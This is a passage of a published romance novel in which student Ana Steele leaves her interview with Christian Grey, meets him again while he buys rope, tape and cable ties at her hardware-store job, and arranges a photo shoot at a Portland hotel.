really thought beyond my finals. + +“I haven’t made any plans, Mr. Grey. I just need to get through my final exams.” +Which I should be studying for now rather than sitting in your palatial, swanky, sterile of- +fice, feeling uncomfortable under your penetrating gaze. + + +“We run an excellent internship program here,” he says quietly. I raise my eyebrows +in surprise. Is he offering me a job? + +“Oh. I’ll bear that in mind,” I murmur, completely confounded. “Though I’m not sure +I’d fit in here.” Oh no. I’m musing out loud again. + +“Why do you say that?” He cocks his head to one side, intrigued, a hint of a smile +playing on his lips. + +“It’s obvious, isn’t it?” I’m uncoordinated, scruffy, and I’m not blonde. + +“Not to me,” he murmurs. His gaze is intense, all humor gone, and strange muscles +deep in my belly clench suddenly. I tear my eyes away from his scrutiny and stare blindly +down at my knotted fingers. What’s going on? I have to go - now. I lean forward to re- +trieve the recorder. + +“Would you like me to show you around?” he asks. + +“I’m sure you’re far too busy, Mr. Grey, and I do have a long drive.” + +“You’re driving back to WSU in Vancouver?” He sounds surprised, anxious even. He +glances out of the window. It’s begun to rain. “Well, you’d better drive carefully.” His tone +is stern, authoritative. Why should he care? “Did you get everything you need?” he adds. + +“Yes sir,” I reply, packing the recorder into my satchel. His eyes narrow, speculatively. + +“Thank you for the interview, Mr. Grey.” + +“The pleasure’s been all mine,” he says, polite as ever. + +As I rise, he stands and holds out his hand. + +“Until we meet again, Miss Steele.” And it sounds like a challenge, or a threat, I’m +not sure which. I frown. When will we ever meet again? I shake his hand once more, +astounded that that odd current between us is still there. It must be my nerves. + +“Mr. Grey.” I nod at him. Moving with lithe athletic grace to the door, he opens it wide. + +“Just ensuring you make it through the door, Miss Steele.” He gives me a small smile. +Obviously, he’s referring to my earlier less-than-elegant entry into his office. I flush. + +“That’s very considerate, Mr. Grey,” I snap, and his smile widens. I’m glad you find +me entertaining, I glower inwardly, walking into the foyer. I’m surprised when he follows +me out. Andrea and Olivia both look up, equally surprised. + +“Did you have a coat?” Grey asks. + +“Yes.” Olivia leaps up and retrieves my jacket, which Grey takes from her before she +can hand it to me. He holds it up and, feeling ridiculously self-conscious, I shrug it on. + +Grey places his hands for a moment on my shoulders. I gasp at the contact. If he notices +my reaction, he gives nothing away. His long index finger presses the button summoning +the elevator, and we stand waiting - awkwardly on my part, coolly self-possessed on his. +The doors open, and I hurry in desperate to escape. I really need to get out of here. When +I turn to look at him, he’s leaning against the doorway beside the elevator with one hand +on the wall. He really is very, very good-looking. It’s distracting. His burning gray eyes +gaze at me. + +“Anastasia,” he says as a farewell. + +“Christian,” I reply. And mercifully, the doors close. + + +Chapter Two + + +My heart is pounding. The elevator arrives on the first floor, and I scramble out as soon as +the doors slide open, stumbling once, but fortunately not sprawling on to the immaculate +sandstone floor. I race for the wide glass doors, and I’m free in the bracing, cleansing, +damp air of Seattle. Raising my face, I welcome the cool refreshing rain. I close my eyes +and take a deep, purifying breath, trying to recover what’s left of my equilibrium. + +No man has ever affected me the way Christian Grey has, and I cannot fathom why. +Is it his looks? His civility? Wealth? Power? I don’t understand my irrational reaction. + +I breathe an enormous sigh of relief. What in heaven’s name was that all about? Leaning +against one of the steel pillars of the building, I valiantly attempt to calm down and gather +my thoughts. I shake my head. Holy crap - what was that? My heart steadies to its regular +rhythm, and I can breathe normally again. I head for the car. + + +As I leave the city limits behind, I begin to feel foolish and embarrassed as I replay the +interview in my mind. Surely, I’m over-reacting to something that’s imaginary. Okay, so +he’s very attractive, confident, commanding, at ease with himself - but on the flip side, he’s +arrogant, and for all his impeccable manners, he’s autocratic and cold. Well, on the surface. +An involuntary shiver runs down my spine. He may be arrogant, but then he has a right to +be - he’s accomplished so much at such a young age. He doesn’t suffer fools gladly, but +why should he? Again, I’m irritated that Kate didn’t give me a brief biography. + + +While cruising along the 1-5, my mind continues to wander. I’m truly perplexed as to +what makes someone so driven to succeed. Some of his answers were so cryptic - as if +he had a hidden agenda. And Kate’s questions - ugh! The adoption and asking him if he +was gay! I shudder. I can’t believe I said that. Ground, swallow me up now! Every time +I think of that question in the future, I will cringe with embarrassment. Damn Katherine +Kavanagh! + +I check the speedometer. I’m driving more cautiously than I would on any other occa- +sion. And I know it’s the memory of two penetrating gray eyes gazing at me, and a stern +voice telling me to drive carefully. Shaking my head, I realize that Grey’s more like a man +double his age. + +Forget it, Ana, I scold myself. I decide that all in all, it’s been a very interesting expe- +rience, but I shouldn’t dwell on it. Put it behind you. I never have to see him again. I’m +immediately cheered by the thought. I switch on the MP3 player and turn the volume up +loud, sit back, and listen to thumping indie rock music as I press down on the accelerator. +As I hit the 1 -5, I realize I can drive as fast as I want. + + +We live in a small community of duplex apartments in Vancouver, Washington, close to the +Vancouver campus of WSU. I’m lucky - Kate’s parents bought the place for her, and I pay +peanuts for rent. It’s been home for four years now. As I pull up outside, I know Kate is go- +ing to want a blow-by-blow account, and she is tenacious. Well, at least she has the mini- +disc. Hopefully I won’t have to elaborate much beyond what was said during the interview. + +“Ana! You’re back.” Kate sits in our living area, surrounded by books. She’s clearly +been studying for finals - though she’s still in her pink flannel pajamas decorated with cute +little rabbits, the ones she reserves for the aftermath of breaking up with boyfriends, for +assorted illnesses, and for general moody depression. She bounds up to me and hugs me +hard. + +“I was beginning to worry. I expected you back sooner.” + +“Oh, I thought I made good time considering the interview ran over.” I wave the mini- +disc recorder at her. + +“Ana, thank you so much for doing this. I owe you, I know. How was it? What was +he like?” Oh no - here we go, the Katherine Kavanagh Inquisition. + +I struggle to answer her question. What can I say? + +“I’m glad it’s over, and I don’t have to see him again. He was rather intimidating, you +know.” I shrug. “He’s very focused, intense even - and young. Really young.” + +Kate gazes innocently at me. I frown at her. + +“Don’t you look so innocent. Why didn’t you give me a biography? He made me feel +like such an idiot for skimping on basic research.” Kate clamps a hand to her mouth. + +“Jeez, Ana, I’m sorry - I didn’t think.” + +I huff. + +“Mostly he was courteous, formal, slightly stuffy - like he’s old before his time. He +doesn’t talk like a man of twenty-something. How old is he anyway?” + +“Twenty-seven. Jeez, Ana, I’m sorry. I should have briefed you, but I was in such a +panic. Let me have the mini-disc, and I’ll start transcribing the interview.” + + +“You look better. Did you eat your soup?” I ask, keen to change the subject. + +“Yes, and it was delicious as usual. I’m feeling much better.” She smiles at me in grati- +tude. I check my watch. + +“I have to run. I can still make my shift at Clayton’s.” + +“Ana, you’ll be exhausted.” + +“I’ll be fine. I’ll see you later.” + + +I’ve worked at Clayton’s since I started at WSU. It’s the largest independent hardware +store in the Portland area, and over the four years I’ve worked here, I’ve come to know a +little bit about most everything we sell - although ironically, I’m crap at any DIY. I leave +all that to my dad. I’m much more of a curl-up-with-a-book-in-a-comfy-chair-by-the-fire +kind of girl. I’m glad I can make my shift as it gives me something to focus on that isn’t +Christian Grey. We’re busy - it’s the start of the summer season, and folks are redecorating +their homes. Mrs. Clayton is pleased to see me. + +“Ana! I thought you weren’t going to make it today.” + +“My appointment didn’t take as long as I thought. I can do a couple of hours.” + +“I’m real pleased to see you.” + +She sends me to the storeroom to start re-stocking shelves, and I’m soon absorbed in +the task. + + +When I arrive home later, Katherine is wearing headphones and working on her laptop. +Her nose is still pink, but she has her teeth into a story, so she’s concentrating and typing +furiously. I’m thoroughly drained - exhausted by the long drive, the grueling interview, +and by being rushed off my feet at Clayton’s. I slump on to the couch, thinking about the +essay I have to finish and all the studying I haven’t done today because I was holed up +with... him. + +“You’ve got some good stuff here, Ana. Well done. I can’t believe you didn’t take him +up on his offer to show you around. He obviously wanted to spend more time with you.” +She gives me a fleeting quizzical look. + +I flush, and my heart rate inexplicably increases. That wasn’t the reason, surely? He +just wanted to show me around so I could see that he was lord of all he surveyed. I realize +I’m biting my lip, and I hope Kate doesn’t notice. But she seems absorbed in her transcrip- +tion. + +“I hear what you mean about formal. Did you take any notes?” she asks. + +“Urn... no, I didn’t.” + +“That’s fine. I can still make a fine article with this. Shame we don’t have some origi- +nal stills. Good-looking son of a bitch, isn’t he?” + +I flush. + +“I suppose so.” I try hard to sound disinterested, and I think I succeed. + +“Oh come on, Ana - even you can’t be immune to his looks.” She arches a perfect +eyebrow at me. + +Crap! I distract her with flattery, always a good ploy. + + +“You probably would have got a lot more out of him.” + +“I doubt that, Ana. Come on - he practically offered you a job. Given that I foisted this +on you at the last minute, you did very well.” She glances up at me speculatively. I make +a hasty retreat into the kitchen. + +“So what did you really think of him?” Damn, she’s inquisitive. Why can’t she just let +this go? Think of something - quick. + +“He’s very driven, controlling, arrogant - scary really, but very charismatic. I can un- +derstand the fascination,” I add truthfully, as I peer round the door at her hoping this will +shut her up once and for all. + +“You, fascinated by a man? That’s a first,” she snorts. + +I start gathering the makings of a sandwich so she can’t see my face. + +“Why did you want to know if he was gay? Incidentally, that was the most embarrass- +ing question. I was mortified, and he was pissed to be asked too.” I scowl at the memory. + +“Whenever he’s in the society pages, he never has a date.” + +“It was embarrassing. The whole thing was embarrassing. I’m glad I’ll never have to +lay eyes on him again.” + +“Oh, Ana, it can’t have been that bad. I think he sounds quite taken with you.” + +Taken with me? Now Kate’s being ridiculous. + +“Would you like a sandwich?” + +“Please.” + + +We talk no more of Christian Grey that evening, much to my relief. Once we’ve eaten, + +I’m able to sit at the dining table with Kate and, while she works on her article, I work on +my essay on Tess of the D’Urbervilles. Damn, but that woman was in the wrong place at +the wrong time in the wrong century. By the time I finish, it’s midnight, and Kate has long +since gone to bed. I make my way to my room, exhausted, but pleased that I’ve accom- +plished so much for a Monday. + +I curl up in my white iron bed, wrapping my mother’s quilt around me, close my eyes, +and I’m instantly asleep. That night I dream of dark places, bleak white cold floors, and +gray eyes. + + +For the rest of the week, I throw myself into my studies and my job at Clayton’s. Kate is +busy too, compiling her last edition of her student magazine before she has to relinquish +it to the new editor while also cramming for her finals. By Wednesday, she’s much better, +and I no longer have to endure the sight of her pink-flannel-with-too-many-rabbits PJs. I +call my mom in Georgia to check on her, but also so she can wish me luck for my final ex- +ams. She proceeds to tell me about her latest venture into candle making - my mother is all +about new business ventures. Fundamentally she’s bored and wants something to occupy +her time, but she has the attention span of a goldfish. It’ll be something new next week. + +She worries me. I hope she hasn’t mortgaged the house to finance this latest scheme. And I +hope that Bob - her relatively new but much older husband - is keeping an eye on her now +that I’m no longer there. He does seem a lot more grounded than Husband Number Three. + + +“How are things with you, Ana?” + +For a moment, I hesitate, and I have Mom’s full attention. + +“I’m fine.” + +“Ana? Have you met someone?” Wow... how does she do that? The excitement in her +voice is palpable. + +“No, Mom, it’s nothing. You’ll be the first to know if I do.” + +“Ana, you really need to get out more, honey. You worry me.” + +“Mom, I’m fine. How’s Bob?” As ever, distraction is the best policy. + +Later that evening, I call Ray, my stepdad, Mom’s Husband Number Two, the man I +consider my father, and the man whose name I bear. It’s a brief conversation. In fact, it’s +not so much a conversation as a one-sided series of grunts in response to my gentle coax- +ing. Ray is not a talker. But he’s still alive, he’s still watching soccer on TV, and going +bowling and fly-fishing or making furniture when he’s not. Ray is a skilled carpenter and +the reason I know the difference between a hawk and a handsaw. All seems well with him. + + +Friday night, Kate and I are debating what to do with our evening - we want some time out +from our studies, from our work, and from student newspapers - when the doorbell rings. +Standing on our doorstep is my good friend Jose, clutching a bottle of champagne. + +“Jose! Great to see you!” I give him a quick hug. “Come in.” + +Jose is the first person I met when I arrived at WSU, looking as lost and lonely as I did. +We recognized a kindred spirit in each of us that day, and we’ve been friends ever since. +Not only do we share a sense of humor, but we discovered that both Ray and Jose Senior +were in the same army unit together. As a result, our fathers have become firm friends too. + +Jose is studying engineering and is the first in his family to make it to college. He’s +pretty damn bright, but his real passion is photography. Jose has a great eye for a good +picture. + +“I have news.” He grins, his dark eyes twinkling. + +“Don’t tell me - you’ve managed not to get kicked out for another week,” I tease, and +he scowls playfully at me. + +“The Portland Place Gallery is going to exhibit my photos next month.” + +“That’s amazing - congratulations!” Delighted for him, I hug him again. Kate beams +at him too. + +“Way to go Jose! I should put this in the paper. Nothing like last minute editorial +changes on a Friday evening.” She grins. + +“Let’s celebrate. I want you to come to the opening.” Jose looks intently at me. I flush. +“Both of you, of course,” he adds, glancing nervously at Kate. + +Jose and I are good friends, but I know deep down inside, he’d like to be more. He’s +cute and funny, but he’s just not for me. He’s more like the brother I never had. Katherine +often teases me that I’m missing the need-a-boyfriend gene, but the truth is - I just haven’t +met anyone who. . . well, whom I’m attracted to, even though part of me longs for those +trembling knees, heart-in-my-mouth, butterflies-in-my-belly, sleepless nights. + + +Sometimes I wonder if there’s something wrong with me. Perhaps I’ve spent too long +in the company of my literary romantic heroes, and consequently my ideals and expecta- +tions are far too high. But in reality, nobody’s ever made me feel like that. + +Until very recently, the unwelcome, still small voice of my subconscious whispers. + +NO! I banish the thought immediately. I am not going there, not after that painful inter- +view. Are you gay, Mr. Grey? I wince at the memory. I know I’ve dreamt about him most +nights since then, but that’s just to purge the awful experience from my system, surely? + +I watch Jose open the bottle of champagne. He’s tall, and in his jeans and t-shirt he’s +all shoulders and muscles, tanned skin, dark hair and burning dark eyes. Yes, Jose’s pretty +hot, but I think he’s finally getting the message: we’re just friends. The cork makes its loud +pop, and Jose looks up and smiles. + + +Saturday at the store is a nightmare. We are besieged by do-it-yourselfers wanting to +spruce up their homes. Mr. and Mrs. Clayton, John and Patrick -the two other part-timers +- and I are all rushed off our feet. But there’s a lull around lunchtime, and Mrs. Clayton +asks me to check on some orders while I’m sitting behind the counter at the till discreetly +eating my bagel. I’m engrossed in the task, checking catalogue numbers against the items +we need and the items we’ve ordered, eyes flicking from the order book to the computer +screen and back as I check the entries match. Then, for some reason, I glance up. . . and +find myself locked in the bold gray gaze of Christian Grey who’s standing at the counter, +staring at me intently. + +Heart failure. + +“Miss Steele. What a pleasant surprise.” His gaze is unwavering and intense. + +Holy crap. What the hell is he doing here looking all tousled-hair and outdoorsy in his +cream chunky-knit sweater, jeans, and walking boots? I think my mouth has popped open, +and I can’t locate my brain or my voice. + +“Mr. Grey,” I whisper, because that’s all I can manage. There’s a ghost of a smile on +his lips and his eyes are alight with humor, as if he’s enjoying some private joke. + +“I was in the area,” he says by way of explanation. “I need to stock up on a few things. +It’s a pleasure to see you again, Miss Steele.” His voice is warm and husky like dark +melted chocolate fudge caramel... or something. + +I shake my head to gather my wits. My heart is pounding a frantic tattoo, and for +some reason I’m blushing furiously under his steady scrutiny. I am utterly thrown by the +sight of him standing before me. My memories of him did not do him justice. He’s not +merely good-looking - he’s the epitome of male beauty, breathtaking, and he’s here. Here +in Clayton’s Hardware Store. Go figure. Finally my cognitive functions are restored and +reconnected with the rest of my body. + +“Ana. My name’s Ana,” I mutter. “What can I help you with, Mr. Grey?” + +He smiles, and again it’s like he’s privy to some big secret. It is so disconcerting. Tak- +ing a deep breath, I put on my professional l’ve-worked-in-this-shop-for-years fagade. I +can do this. + +“There are a few items I need. To start with, I’d like some cable ties,” he murmurs, his +gray eyes cool but amused. + + +Cable ties? + +“We stock various lengths. Shall I show you?” I mutter, my voice soft and wavery. + +Get a grip, Steele. A slight frown mars Grey’s rather lovely brow. + +“Please. Lead the way, Miss Steele,” he says. I try for nonchalance as I come out from +behind the counter, but really I’m concentrating hard on not falling over my own feet - my +legs are suddenly the consistency of Jell-O. I’m so glad I decided to wear my best jeans +this morning. + +“They’re in with the electrical goods, aisle eight.” My voice is a little too bright. I +glance up at him and regret it almost immediately. Damn, he’s handsome. I blush. + +“After you,” he murmurs, gesturing with his long-fingered, beautifully manicured +hand. + +With my heart almost strangling me - because it’s in my throat trying to escape from +my mouth - I head down one of the aisles to the electrical section. Why is he in Portland? +Why is he here at Clayton’s? And from a very tiny, underused part of my brain - probably +located at the base of my medulla oblongata where my subconscious dwells - comes the +thought: he’s here to see you. No way! I dismiss it immediately. Why would this beauti- +ful, powerful, urbane man want to see me? The idea is preposterous, and I kick it out of +my head. + +“Are you in Portland on business?” I ask, and my voice is too high, like I’ve got my +finger trapped in a door or something. Damn! Try to be cool Ana! + +“I was visiting the WSU farming division. It’s based at Vancouver. I’m currently fund- +ing some research there in crop rotation and soil science,” he says matter-of-factly. See? + +Not here to find you at all, my subconscious sneers at me, loud, proud, and pouty. I flush +at my foolish wayward thoughts. + +“All part of your feed-the-world plan?” I tease. + +“Something like that,” he acknowledges, and his lips quirk up in a half smile. + +He gazes at the selection of cable ties we stock at Clayton’s. What on Earth is he going +to do with those? I cannot picture him as a do-it-yourselfer at all. His fingers trail across +the various packages displayed, and for some inexplicable reason, I have to look away. He +bends and selects a packet. + +“These will do,” he says with his oh-so-secret smile, and I blush. + +“Is there anything else?” + +“I’d like some masking tape.” + +Masking tape? + +“Are you redecorating?” The words are out before I can stop them. Surely he hires +laborers or has staff to help him decorate? + +“No, not redecorating,” he says quickly then smirks, and I have the uncanny feeling +that he’s laughing at me. + +Am I that funny? Funny looking? + +“This way,” I murmur embarrassed. “Masking tape is in the decorating aisle.” + +I glance behind me as he follows. + +“Have you worked here long?” His voice is low, and he’s gazing at me, gray eyes con- +centrating hard. I blush even more brightly. Why the hell does he have this effect on me? + +I feel like I’m fourteen years old - gauche, as always, and out of place. Eyes front Steele! + + +“Four years,” I mutter as we reach our goal. To distract myself, I reach down and select +the two widths of masking tape that we stock. + +“I’ll take that one,” Grey says softly pointing to the wider tape, which I pass to him. + +Our fingers brush very briefly, and the current is there again, zapping through me like I’ve +touched an exposed wire. I gasp involuntarily as I feel it, all the way down to somewhere +dark and unexplored, deep in my belly. Desperately, I scrabble around for my equilibrium. + +“Anything else?” My voice is husky and breathy. His eyes widen slightly. + +“Some rope, I think.” His voice mirrors mine, husky. + +“This way.” I duck my head down to hide my recurring blush and head for the aisle. + +“What sort were you after? We have synthetic and natural filament rope... twine... +cable cord... ” I halt at his expression, his eyes darkening. Holy cow. + +“I’ll take five yards of the natural filament rope please.” + +Quickly, with trembling fingers, I measure out five yards against the fixed ruler, aware +that his hot gray gaze is on me. I dare not look at him. Jeez, could I feel any more self- +conscious? Taking my Stanley knife from the back pocket of my jeans, I cut it then coil it +neatly before tying it in a slipknot. By some miracle, I manage not to remove a finger with +my knife. + +“Were you a Girl Scout?” he asks, sculptured, sensual lips curled in amusement. Don’t +look at his mouth! + +“Organized, group activities aren’t really my thing, Mr. Grey.” + +He arches a brow. + +“What is your thing, Anastasia?” he asks, his voice soft and his secret smile is back. I +gaze at him unable to express myself. I’m on shifting tectonic plates. Try and be cool, Ana, +my tortured subconscious begs on bended knee. + +“Books,” I whisper, but inside, my subconscious is screaming: You! You are my thing! + +I slap it down instantly, mortified that my psyche is having ideas above its station. + +“What kind of books?” He cocks his head to one side. Why is he so interested? + +“Oh, you know. The usual. The classics. British literature, mainly.” + +He rubs his chin with his long index finger and thumb as he contemplates my answer. +Or perhaps he’s just very bored and trying to hide it. + +“Anything else you need?” I have to get off this subject - those fingers on that face are +so beguiling. + +“I don’t know. What else would you recommend?” + +What would I recommend? I don’t even know what you’re doing. + +“For a do-it-yourselfer?” + +He nods, gray eyes alive with wicked humor. I flush, and my eyes stray of their own +accord to his snug jeans. + +“Coveralls,” I reply, and I know I’m no longer screening what’s coming out of my +mouth. + +He raises an eyebrow, amused, yet again. + +“You wouldn’t want to ruin your clothing,” I gesture vaguely in the direction of his +jeans. + +“I could always take them off.” He smirks. + + +“Um.” I feel the color in my cheeks rising again. I must be the color of the communist +manifesto. Stop talking. Stop talking NOW. + +“I’ll take some coveralls. Heaven forbid I should ruin any clothing,” he says dryly. + +I try and dismiss the unwelcome image of him without jeans. + +“Do you need anything else?” I squeak as I hand him the blue coveralls. + +He ignores my inquiry. + +“How’s the article coming along?” + +He’s finally asked me a normal question, away from all the innuendo and the confusing +double talk... a question I can answer. I grasp it tightly with two hands as if were a life +raft, and I go for honesty. + +“I’m not writing it, Katherine is. Miss Kavanagh. My roommate, she’s the writer. + +She’s very happy with it. She’s the editor of the magazine, and she was devastated that +she couldn’t do the interview in person.” I feel like I’ve come up for air - at last, a normal +topic of conversation. “Her only concern is that she doesn’t have any original photographs +of you.” + +Grey raises an eyebrow. + +“What sort of photographs does she want?” + +Okay. I hadn’t factored in this response. I shake my head, because I just don’t know. + +“Well, I’m around. Tomorrow, perhaps... ” he trails off. + +“You’d be willing to attend a photo shoot?” My voice is squeaky again. Kate will be +in seventh heaven if I can pull this off. And you might see him again tomorrow, that dark +place at the base of my brain whispers seductively at me. I dismiss the thought - of all the +silly, ridiculous... + +“Kate will be delighted - if we can find a photographer.” I’m so pleased, I smile at him +broadly. His lips part, like he’s taking a sharp intake of breath, and he blinks. For a fraction +of a second, he looks lost somehow, and the Earth shifts slightly on its axis, the tectonic +plates sliding into a new position. + +Oh my. Christian Grey’s lost look. + +“Let me know about tomorrow.” Reaching into his back pocket, he pulls out his wal- +let. “My card. It has my cell number on it. You’ll need to call before ten in the morning.” + +“Okay.” I grin up at him. Kate is going to be thrilled. + +“ANA!” + +Paul has materialized at other the end of the aisle. He’s Mr. Clayton’s youngest broth- +er. I’d heard he was home from Princeton, but I wasn’t expecting to see him today. + +“Er, excuse me for a moment, Mr. Grey.” Grey frowns as I turn away from him. + +Paul has always been a buddy, and in this strange moment that I’m having with the +rich, powerful, awesomely off-the-scale attractive control-freak Grey, it’s great to talk to +someone who’s normal. Paul hugs me hard taking me by surprise. + +“Ana, hi, it’s so good to see you!” he gushes. + +“Hello Paul, how are you? You home for your brother’s birthday?” + +“Yep. You’re looking well, Ana, really well.” He grins as he examines me at arm’s +length. Then he releases me but keeps a possessive arm draped over my shoulder. I shuffle +from foot to foot, embarrassed. It’s good to see Paul, but he’s always been over-familiar. + + +When I glance up at Christian Grey, he’s watching us like a hawk, his gray eyes hooded +and speculative, his mouth a hard impassive line. He’s changed from the weirdly attentive +customer to someone else - someone cold and distant. + +“Paul, I’m with a customer. Someone you should meet,” I say, trying to defuse the +antagonism I see in Grey’s eyes. I drag Paul over to meet him, and they weigh each other +up. The atmosphere is suddenly arctic. + +“Er, Paul, this is Christian Grey. Mr. Grey, this is Paul Clayton. His brother owns the +place.” And for some irrational reason, I feel I have to explain a bit more. + +“I’ve known Paul ever since I’ve worked here, though we don’t see each other that +often. He’s back from Princeton where he’s studying business administration.” I’m bab- +bling... Stop, now! + +“Mr. Clayton.” Christian holds his hand out, his look unreadable. + +“Mr. Grey,” Paul returns his handshake. “Wait up - not the Christian Grey? Of Grey +Enterprises Holdings?” Paul goes from surly to awestruck in less than a nanosecond. Grey +gives him a polite smile that doesn’t reach his eyes. + +“Wow - is there anything I can get you?” + +“Anastasia has it covered, Mr. Clayton. She’s been very attentive.” His expression is +impassive, but his words... it’s like he’s saying something else entirely. It’s baffling. + +“Cool,” Paul responds. “Catch you later, Ana.” + +“Sure, Paul.” I watch him disappear toward the stock room. “Anything else, Mr. + +Grey?” + +“Just these items.” His tone is clipped and cool. Damn... have I offended him? Tak- +ing a deep breath, I turn and head for the till. What is his problem? + +I ring up the rope, coveralls, masking tape, and cable ties at the till. + +“That will be forty-three dollars, please.” I glance up at Grey, and I wish I hadn’t. He’s +watching me closely, his gray eyes intense and smoky. It’s unnerving. + +“Would you like a bag?” I ask as I take his credit card. + +“Please, Anastasia.” His tongue caresses my name, and my heart once again is frantic. + +I can hardly breathe. Hurriedly, I place his purchases in a plastic carrier. + +“You’ll call me if you want me to do the photo shoot?” He’s all business once more. I +nod, rendered speechless yet again, and hand back his credit card. + +“Good. Until tomorrow perhaps.” He turns to leave, then pauses. “Oh - and Anastasia, +I’m glad Miss Kavanagh couldn’t do the interview.” He smiles, then strides with renewed +purpose out of the store, slinging the plastic bag over his shoulder, leaving me a quiver- +ing mass of raging female hormones. I spend several minutes staring at the closed door +through which he’s just left before I return to planet Earth. + +Okay - I like him. There, I’ve admitted it to myself. I cannot hide from my feelings +anymore. I’ve never felt like this before. I find him attractive, very attractive. But it’s a +lost cause, I know, and I sigh with bittersweet regret. It was just a coincidence, his coming +here. But still, I can admire him from afar, surely? No harm can come of that. And if I find +a photographer, I can do some serious admiring tomorrow. I bite my lip in anticipation and +find myself grinning like a schoolgirl. I need to phone Kate and organize a photo-shoot. + + +Chapter Three + + +Kate is ecstatic. + +“But what was he doing at Clayton’s?” Her curiosity oozes through the phone. I’m in +the depths of the stock room, trying to keep my voice casual. + +“He was in the area.” + +“I think that is one huge coincidence, Ana. You don’t think he was there to see you?” +she speculates. My heart lurches at the prospect, but it’s a short-lived joy. The dull, disap- +pointing reality is that he was here on business. + +“He was visiting the farming division of WSU. He’s funding some research,” I mutter. +“Oh yes. He’s given the department a $2.5 million grant.” + +Wow. + +“How do you know this?” + +“Ana, I’m a journalist, and I’ve written a profile on the guy. It’s my job to know this.” +“Okay, Carla Bernstein, keep your hair on. So do you want these photos?” + +“Of course I do. The question is, who’s going to do them and where.” + +“We could ask him where. He says he’s staying in the area.” + +“You can contact him?” + +“I have his cell phone number.” + +Kate gasps. + + +“The richest, most elusive, most enigmatic bachelor in Washington State, just gave you +his cell phone number.” + +“Er... yes.” + +“Ana! He likes you. No doubt about it.” Her tone is emphatic. + +“Kate, he’s just trying to be nice.” But even as I say the words, I know they’re not true +- Christian Grey doesn’t do nice. He does polite, maybe. And a small quiet voice whis- +pers, perhaps Kate is right. My scalp prickles at the idea that maybe, just maybe, he might +like me. After all, he did say he was glad Kate didn’t do the interview. I hug myself with +quiet glee, rocking from side to side, entertaining the possibility that he might like me for +one brief moment. Kate brings me back to the now. + +“I don’t know who we’ll get to do the shoot. Levi, our regular photographer, can’t. + +He’s home in Idaho Falls for the weekend. He’ll be pissed that he blew an opportunity to +photo one of America’s leading entrepreneurs.” + +“Hmm... What about Jose?” + +“Great idea! You ask him - he’ll do anything for you. Then call Grey and find out +where he wants us.” Kate is irritatingly cavalier about Jose. + +“I think you should call him.” + +“Who, Jose?” Kate scoffs. + +“No, Grey.” + +“Ana, you’re the one with the relationship.” + +“Relationship?” I squeak at her, my voice rising several octaves. “I barely know the + +guy.” + +“At least you’ve met him,” she says bitterly. “And it looks like he wants to know you +better. Ana, just call him,” she snaps and hangs up. She is so bossy sometimes. I frown at +my cell, sticking my tongue out at it. + +I’m just leaving a message for Jose when Paul enters the stock room looking for sand- +paper. + +“We’re kind of busy out there, Ana,” he says without acrimony. + +“Yeah, urn, sorry,” I mutter, turning to leave. + +“So, how come you know Christian Grey?” Paul’s voice is unconvincingly nonchalant. + +“I had to interview him for our student newspaper. Kate wasn’t well.” I shrug, trying +to sound casual and doing no better than him. + +“Christian Grey in Clayton’s. Go figure,” Paul snorts, amazed. He shakes his head as +if to clear it. “Anyway, want to grab a drink or something this evening?” + +Whenever he’s home he asks me on a date, and I always say no. It’s a ritual. I’ve never +considered it a good idea to date the boss’s brother, and besides, Paul is cute in a whole- +some all-American boy-next-door kind of way, but he’s no literary hero, not by any stretch +of the imagination. Is Grey? My subconscious asks me, her eyebrow figuratively raised. + +I slap her down. + +“Don’t you have a family dinner or something for your brother?” + +“That’s tomorrow.” + +“Maybe some other time, Paul. I need to study tonight. I have my finals next week.” + +“Ana, one of these days, you’ll say yes,” he smiles as I escape out to the store floor. + + +“But I do places, Ana, not people,” Jose groans. + +“Jose, please?” I beg. Clutching my cell, I pace the living area of our apartment, star- +ing out of the window at the fading evening light. + +“Give me that phone.” Kate grabs the handset from me, tossing her silken red-blonde +hair over her shoulder. + +“Listen here, Jose Rodriquez, if you want our newspaper to cover the opening of your +show, you’ll do this shoot for us tomorrow, capiche?” Kate can be awesomely tough. + +“Good. Ana will call back with the location and the call time. We’ll see you tomor- +row.” She snaps my cell phone shut. + +“Sorted. All we need to do now is decide where and when. Call him.” She holds the +phone out to me. My stomach twists. + +“Call Grey, now!” + +I scowl at her and reach into my back pocket for his business card. I take a deep, +steadying breath, and with shaking fingers, I dial the number. + +He answers on the second ring. His tone is clipped, calm and cold. + +“Grey.” + +“Err... Mr. Grey? It’s Anastasia Steele.” I don’t recognize my own voice, I’m so ner- +vous. There’s a brief pause. Inside I’m quaking. + +“Miss Steele. How nice to hear from you.” His voice has changed. He’s surprised, I +think, and he sounds so... warm - seductive even. My breath hitches, and I flush. I’m sud- +denly conscious that Katherine Kavanagh is staring at me, her mouth open, and I dart into +the kitchen to avoid her unwanted scrutiny. + +“Err - we’d like to go ahead with the photo-shoot for the article.” Breathe, Ana, breathe +My lungs drag in a hasty breath. “Tomorrow, if that’s okay. Where would be convenient +for you, sir?” + +I can almost hear his sphinx-like smile through the phone. + +“I’m staying at the Heathman in Portland. Shall we say, nine thirty tomorrow morn- +ing?” + +“Okay, we’ll see you there.” I am all gushing and breathy - like a child, not a grown +woman who can vote and drink legally in the State of Washington. + +“I look forward to it, Miss Steele.” I visualize the wicked gleam in his gray eyes. How +can he make seven little words hold so much tantalizing promise? I hang up. Kate is in the +kitchen, and she’s staring at me with a look of complete and utter consternation on her face + +“Anastasia Rose Steele. You like him! I’ve never seen or heard you so, so... affected +by anyone before. You’re actually blushing.” + +“Oh Kate, you know I blush all the time. It’s an occupational hazard with me. Don’t +be so ridiculous,” I snap. She blinks at me with surprise - I very rarely throw my toys out +of the pram - and I briefly relent. “I just find him... intimidating, that’s all.” + +“Heathman, that figures,” mutters Kate. “I’ll give the manager a call and negotiate a +space for the shoot.” + +“I’ll make supper. Then I need to study.” I cannot hide my irritation with her as I open +one of cupboards to make supper. + + +I am restless that night, tossing and turning. Dreaming of smoky gray eyes, coveralls, long +legs, long fingers, and dark, dark unexplored places. I wake twice in the night, my heart +pounding. Oh, I’m going to look just great tomorrow with so little sleep, I scold myself. I +punch my pillow and try to settle. + + +The Heathman is nestled in the downtown heart of Portland. Its impressive brown stone +edifice was completed just in time for the crash of the late 1920s. Jose, Travis, and I are +traveling in my Beetle, and Kate is in her CLK, since we can’t all fit in my car. Travis is +Jose’s friend and gopher, here to help out with the lighting. Kate has managed to acquire +the use of a room at the Heathman free of charge for the morning in exchange for a credit +in the article. When she explains at reception that we’re here to photograph Christian Grey +CEO, we are instantly upgraded to a suite. Just a regular-sized 